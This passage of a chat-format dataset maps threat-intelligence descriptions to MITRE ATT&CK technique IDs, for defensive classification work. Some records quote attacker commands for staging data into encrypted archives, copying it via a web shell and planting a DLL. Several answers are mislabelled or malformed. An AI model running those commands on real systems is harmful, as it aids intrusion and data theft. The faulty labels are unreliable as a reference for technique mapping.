                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Waterbear can hook the \"ZwOpenProcess\" and \"GetExtendedTcpTable\" APIs called by the process of a security product to hide PIDs and TCP records from detection."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN6 has obtained and used tools such as Mimikatz, Cobalt Strike, and AdFind."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This behavior is detailed later in the blog under \"Malware Functionality\". Unlike WannaCry, Nyetya does not appear to contain an external scanning component. Two of the executables are used to recover user credentials (32 and 64 bits) while the third one is the PsExec binary. For example: The dropped .tmp executable seems to be based on Mimikatz, a popular open source tool used for recovery of user credentials from computer memory using several different techniques. The recovered credentials are then used for launching malware on the remote system using WMIC and PsExec. These mechanisms are used to attempt installation and execution of perfc.dat on other devices to spread laterally. The two exploits drop a modified version of DoublePulsar which is a persistent backdoor running in kernel space of the compromised system. The developer modified only few bytes from the original version but this modification allowed it to evade network detection and the open source DoublePulsar scanning tools available on the Internet. The modification can be divided in 3 parts: - The attacker modified the command codes: - The attacker modified the response codes: - The attacker modified where the response code is stored in the SMB response packet. PsExec is used to execute the following instruction (where w.x.y.z is an IP address) using the current user's windows token (from the \"Recovery of User Credentials\" section above) to install the malware on the networked device. WMI is used to execute the following command which performs the same function as above, but using the current user's username and password (as username and password), retrieved from the \"Recovery of User Credentials\" section above"
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "actors used the following command following exploitation of a machine with  malware to display network connections: netstat -ano >> %temp%\\download"
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Shark can query `HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Cryptography MachineGuid` to retrieve the machine GUID."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses a keylogger to capture keystrokes it then sends back to the server after it is stopped."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AQUATIC PANDA continued their reconnaissance from the host, using native OS binaries to understand current privilege levels as well as system and domain details"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "iKitten saves itself with a leading \".\" so that it's hidden from users by default."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BITSAdmin can be used to create BITS Jobs to launch a malicious process."
            },
            {
                "role": "assistant",
                "content": "T1197 - BITS Jobs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conficker scans for other machines to infect."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lokibot has tricked recipients into enabling malicious macros by getting victims to click \"enable content\" in email attachments."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Efforts to decrease operational visibility included placing tool and output files within temporary file system mount points that were stored in volatile memory. Additionally, UNC1945 used built-in utilities and public tools to modify timestamps and selectively manipulate Unix log files."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FELIXROOT adds a shortcut file to the startup folder for persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mongall can upload files and information from a compromised host to its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RawPOS installs itself as a service to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once communication with the C2 server has been established, QakBot is known to download and use additional modules in order to perform its malicious operations"
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol', 'T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TClient is injected into dllhost.exe Malware Analysis  wab32res.dll (FakeRun loader) loads TClient"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ShimRat has been delivered as a package that includes compressed DLL and shellcode payloads within a .dat file."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT37 uses steganography to send images to users that are embedded with shellcode."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In one instance, the threat actor gained remote access to a high-value system in a compromised network, ran quser.exe to identify existing RDP sessions on the device, immediately ran a command to compile a RAR archive that specified file types the threat actor did not want, and used a password to encrypt the archive:  YYYY-MM-DD hh:mm:ss     quser YYYY-MM-DD hh:mm:ss     C:\\windows\\temp\\svchost.exe a -m5 -v2000m -hp{password} -inul -r \"{destination_file.rar}\" \"{multiple user directories linked to the victim's projects}\" -x*.exe -x*.msi -x*.cab -x*.inc -x*.dll -x*.db -x*.mdb -x*.htm -x*.html -x*.css -x*.jar -x*.js -x*.tmp -x*.bak -x*.dat -x*.log -x*.xml -x*.dmp -x*.dbf -x*.avi -x*.mp3 -x*.mp4 -x*.mpg -x*.mpeg -x*.asp -x*.aspx -x*.gif -x*.jpg -x*.mpp -x*.pst  The threat actors typically rename the encrypted RAR archives"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Windigo has used a script to gather credentials in files left on disk by OpenSSH backdoors."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gold Dragon uses HTTP for communication to the control servers."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turian can establish persistence by adding Registry Run keys."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CSPY Downloader can download additional tools to a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The worm also includes code to scan for open Docker API’s using masscan, then spin up docker images and install itself"
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WastedLocker can execute itself as a service."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT41 leveraged the follow exploits in their operations: CVE-2012-0158, CVE-2015-1641, CVE-2017-0199, CVE-2017-11882, and CVE-2019-3396."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ajax Security Team has used various social media channels to spearphish victims."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SamSam encrypts victim files using RSA-2048 encryption and demands a ransom be paid in Bitcoin to decrypt those files."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "encodes C2 traffic with base64."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TEMP.Veles routinely deleted tools, logs, and other files after they were finished with them."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Read a specified file’s contents and send the data to the control server Write data sent by the control server to an existing file Mark a file to be deleted on reboot  Marking a file for deletion on reboot"
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp', 'T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyclops Blink can use non-standard ports for C2 not typically associated with HTTP or HTTPS traffic."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SharpStage has the ability to download and execute additional payloads via a DropBox API."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "From those servers the threat actor could use a web shell to retrieve the encrypted archives:  copy \\\\{FILE PATH}\\c$\\programdata\\*.tmp \\\\{FILE PATH}\\ServiceDesk\\custom\\style After exfiltrating the files, the threat actor used web shell access on the staging server to delete the staged RAR archives and detach their network shares, likely to avoid detection"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion', 'T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In at least one instance of EnvyScout delivery, we observed further enumeration of the executing browser’s environment, wherein the user-agent was used to determine whether a Windows machine received an ISO payload. If the visitor arrived via iOS, they were redirected to external infrastructure"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PyDCrypt has attempted to execute with PowerShell."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses HTTPS for command and control."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of enumerating application windows."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 has used RTF document that includes an exploit to execute malicious code. (CVE-2017-11882)"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Meteor can use PowerShell commands to disable the network adapters on a victim machines."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "searches for interesting files (either a default or customized set of file extensions) on removable media and copies them to a staging area. The default file types copied would include data copied to the drive by ."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chrommme can decrypt its encrypted internal code."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Victims are targeted by watering hole attacks, and emails with links to malicious websites or with malicious attachments"
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Spearphishing Link', 'T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BLUELIGHT can collect passwords stored in web browers, including Internet Explorer, Edge, Chrome, and Naver Whale."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of injecting code into the APC queue of a created  process as part of an \"Early Bird injection.\""
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Earth Lusca used the command `move [file path] c:\\windows\\system32\\spool\\prtprocs\\x64\\spool.dll` to move and register a malicious DLL name as a Windows print processor, which eventually was loaded by the Print Spooler service."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LoudMiner used a batch script to run the Linux virtual machine as a service."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gathers information about the Registry."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TSCookie has the ability to identify the IP of the infected host."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is used to enumerate and dump information from Microsoft SharePoint."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Each of these weaponized documents used the same tactic for their attacks. Upon opening the document, it leveraged the ability of Microsoft Word to retrieve a remote template to then load a malicious macro document as seen in Figure 4"
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BISCUIT can capture keystrokes."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Xbash can obtain a list of weak passwords from the C2 server to use for brute forcing as well as attempt to brute force services with open ports."
            },
            {
                "role": "assistant",
                "content": "T1110.001 - Brute Force: Password Guessing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It uses the string 5cd8f17f4086744065eb0992a09e05a2 as its mutex as well as its registry hive in the affected machine. It uses the value tcpClient_0 as its HTTP server, where it will receive all stolen information from the infected machine. However, since the value was set to null, all stolen information will be sent to the same C&amp;C server"
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Central Command network, including computers both in the headquarters and in the combat zones.The threat involved into this incident is referred as Agent.btz. There is even a clash with another threat that is also detected as Agent.btz by another vendor – but that's a totally different threat with different functionality. When loaded, its exported function DllEntryPoint() will be called automatically. Once a removable disk is connected to a computer infected with Agent.btz, the active malware will detect a newly recognized drive. It will drop its copy on it and it will create autorun.inf file with an instruction to run that file. Agent.btz file is not packed. Thus, it’s not known what kind of code could have been injected into the browser process. Agent.btz locates this resource by looking for a marker 0xAA45F6F9 in its memory map.File wmcache.nldThe second spawned thread will wait for 10 seconds. The collected network details are also saved into the log file.File winview.ocxThe second spawned thread will log threat activity into the file %system32%\\winview.ocx.This file is also encrypted with the same XOR mask. Note: an attempt to run a valid thumb.db file, which is an OLE-type container has no effect.Files thumb.dd and mssysmgr.ocxAgent.btz is capable to create a binary file thumb.dd on a newly connected drive"
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Last week, Unit 42 released a blog on a newly named threat group called DarkHydrus that we observed targeting government entities in the Middle East. The attack that we discussed in our previous publication involved spear-phishing to deliver a PowerShell payload we call RogueRobin; however, we are aware of DarkHydrus carrying out a credential harvesting attack in June 2018. It also appears that this an ongoing campaign, as we have evidence of previous credential harvesting attempts using the same infrastructure dating back to the Fall of 2017. The credential harvesting attacks used spear-phishing emails that contained malicious Microsoft Office documents that leveraged the “attachedTemplate” technique to load a template from a remote server. When attempting to load this remote template, Microsoft Office will display an authentication dialog box to ask the user to provide login credentials. When entered, these credentials are then sent to the C2 server, which allows DarkHydrus to collect the user account credentials. Based on Unit 42’s analysis, DarkHydrus used the open-source Phishery tool to create two of the known Word documents used in these credential harvesting attacks. As discussed in our previous blog, this further strengthens DarkHydrus’ use of the open source for their attack tools. A phishing attack to steal credentials like this is not new: US-CERT warned of the same technique by a different threat group in 2017. Based on this, we can reasonably presume this group will continue to carry out attacks against these kinds of targets in the Middle East in the near-future"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "njRAT has included a base64 encoded executable."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ramsay can insert itself into the address space of other applications using the AppInit DLL Registry key."
            },
            {
                "role": "assistant",
                "content": "T1546.010 - Event Triggered Execution: AppInit DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cutwail spam levels in the last three months have been significantly lower. The introduction of steganography may suggest that NARWHAL SPIDER has been developing new, innovative methods to evade detection and improve infection rates. Although not commonly used by eCrime actors, steganography has been used for malware delivery in the past, such as the Lurk Downloader and StegoLoader."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Steganography', 'T1001.002 - Data Obfuscation via Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EVILNUM has a function called \"DeleteLeftovers\" to remove certain artifacts of the attack."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a Registry subkey that registers a new system device."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry', 'T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After decrypting the strings, they must be further decompressed using LZNT1"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "decrypts code, strings, and commands to use once it's on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Moses Staff has used obfuscated web shells in their operations."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Anomali Labs has detected a new campaign by the threat group Rocke. In this campaign, the group has changed from using a Python-based malware to a malware written in Golang. The detection of this new malware is nearly non-existent. In addition, the group uses a private mining pool to reduce the risks of being detected"
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used a Metasploit PowerShell module to download and execute shellcode and to set up a local listener."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has deleted tmp and prefetch files during post compromise cleanup activities."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
